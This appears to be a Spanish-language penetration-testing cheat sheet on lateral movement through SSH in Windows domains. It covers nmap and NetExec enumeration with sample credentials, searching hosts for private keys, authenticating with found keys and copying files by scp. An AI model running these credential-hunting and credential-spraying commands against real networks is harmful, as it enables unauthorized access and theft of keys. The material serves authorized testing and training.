Lateral Movement — Secure Shell (SSH)
Herramientas
Requisitos
SSH no es común en entornos Windows pero algunos administradores lo instalan para gestión remota. Cuando está presente es muy atractivo para lateral movement porque por defecto permite conectarse a cualquier cuenta de usuario sin necesidad de configuraciones adicionales.
Puerto por defecto: TCP 22. Los administradores pueden cambiarlo a cualquier otro puerto.
Enumeración
# Detectar SSH con nmap
nmap 192.168.1.20 -p 22 -sCV -Pn
# Escanear puertos no estándar (por si usan otro puerto)
nmap 192.168.1.20 -p- --open --min-rate 1000 -Pn | grep open
# Verificar credenciales con NetExec
netexec ssh 192.168.1.20 -u jsmith -p P@ssw0rd2!
# Escanear toda la red
netexec ssh 192.168.1.0/24 -u jsmith -p P@ssw0rd2!Shell access! en el output de NetExec confirma acceso SSH válido.
Conexión con contraseña
# Desde Linux
ssh jsmith@192.168.1.20
# Con dominio explícito
ssh jsmith@corp.local@192.168.1.20
# Puerto no estándar
ssh jsmith@192.168.1.20 -p 2222
# Desde Windows (cliente SSH nativo desde Windows 10)
ssh jsmith@192.168.1.20Conexión con clave privada
SSH permite autenticarse con un par de claves pública/privada sin necesitar contraseña. Si encontramos una clave privada en el sistema podemos usarla para autenticarnos como el usuario al que pertenece.
# Conectar con clave privada
ssh -i /ruta/id_rsa jsmith@192.168.1.20
# Con usuario de dominio explícito
ssh -i /ruta/id_rsa -l jsmith@corp.local 192.168.1.20
# Con puerto no estándar
ssh -i /ruta/id_rsa jsmith@192.168.1.20 -p 2222Buscar claves privadas en el sistema
# En directorios de usuario
dir C:\Users\*\.ssh\ /s
Get-ChildItem -Path C:\Users -Recurse -Filter "*.key" -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\Users -Recurse -Filter "*id_rsa*" -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\Users -Recurse -Filter "*id_ecdsa*" -ErrorAction SilentlyContinue
# En Linux
find / -name "id_rsa" 2>/dev/null
find / -name "*.pem" 2>/dev/null
find / -name "*.key" 2>/dev/null
find /home -name "authorized_keys" 2>/dev/nullVer qué usuario acepta una clave pública
El archivo authorized_keys en el directorio .ssh del usuario remoto indica qué claves pueden autenticarse como ese usuario.
# Ver authorized_keys en el host remoto
type C:\Users\jsmith\.ssh\authorized_keys
cat /home/jsmith/.ssh/authorized_keysPermisos de la clave privada en Windows
En Windows SSH rechaza claves privadas con permisos demasiado abiertos. El error típico es:
WARNING: UNPROTECTED PRIVATE KEY FILE!
Permissions for 'C:\ruta\id_rsa' are too open.Solución — copiar al directorio del usuario actual
Los directorios de usuario heredan permisos restrictivos automáticamente. Copiar la clave ahí elimina el problema.
# Ver permisos actuales de la clave
icacls.exe C:\ruta\id_rsa
# Copiar al directorio del usuario actual
copy C:\ruta\id_rsa C:\Users\jdoe\
# Verificar que los permisos son correctos
icacls C:\Users\jdoe\id_rsa
# Ahora conectar sin error
ssh -i C:\Users\jdoe\id_rsa jsmith@192.168.1.20Solución alternativa — corregir permisos manualmente
# Quitar acceso a BUILTIN\Users
icacls C:\ruta\id_rsa /remove "BUILTIN\Users"
# Dar acceso solo al usuario actual
icacls C:\ruta\id_rsa /grant:r "$env:USERNAME:(R)"Transferencia de archivos via SSH
# scp — copiar archivo local al host remoto
scp archivo.txt jsmith@192.168.1.20:C:\Users\jsmith\Desktop\
# scp — copiar archivo remoto a local
scp jsmith@192.168.1.20:C:\Users\jsmith\Desktop\flag.txt .
# Con clave privada
scp -i C:\Users\jdoe\id_rsa archivo.txt jsmith@192.168.1.20:C:\Windows\Temp\
# Puerto no estándar
scp -P 2222 archivo.txt jsmith@192.168.1.20:C:\Windows\Temp\Consideraciones importantes
La autenticación con clave privada en Windows limita la autenticación a acceso local — no permite Network Logon. Esto significa que desde una sesión SSH con clave no puedes usar las credenciales para autenticarte a otros hosts del dominio (Double Hop). Para movimiento lateral a otros hosts desde una sesión SSH necesitas contraseña o ticket Kerberos.
Si encuentras una clave privada en un directorio de usuario, el nombre del archivo o el comentario dentro de la clave suele revelar a qué usuario pertenece. Ver el contenido:
# El campo al final de la clave pública muestra usuario@host
type C:\Users\jdoe\id_rsa.pub
# O ver el comentario de la clave privada
ssh-keygen -l -f C:\Users\jdoe\id_rsaPara pivoting y tunneling via SSH revisar el módulo de Pivoting, Tunneling and Port Forwarding.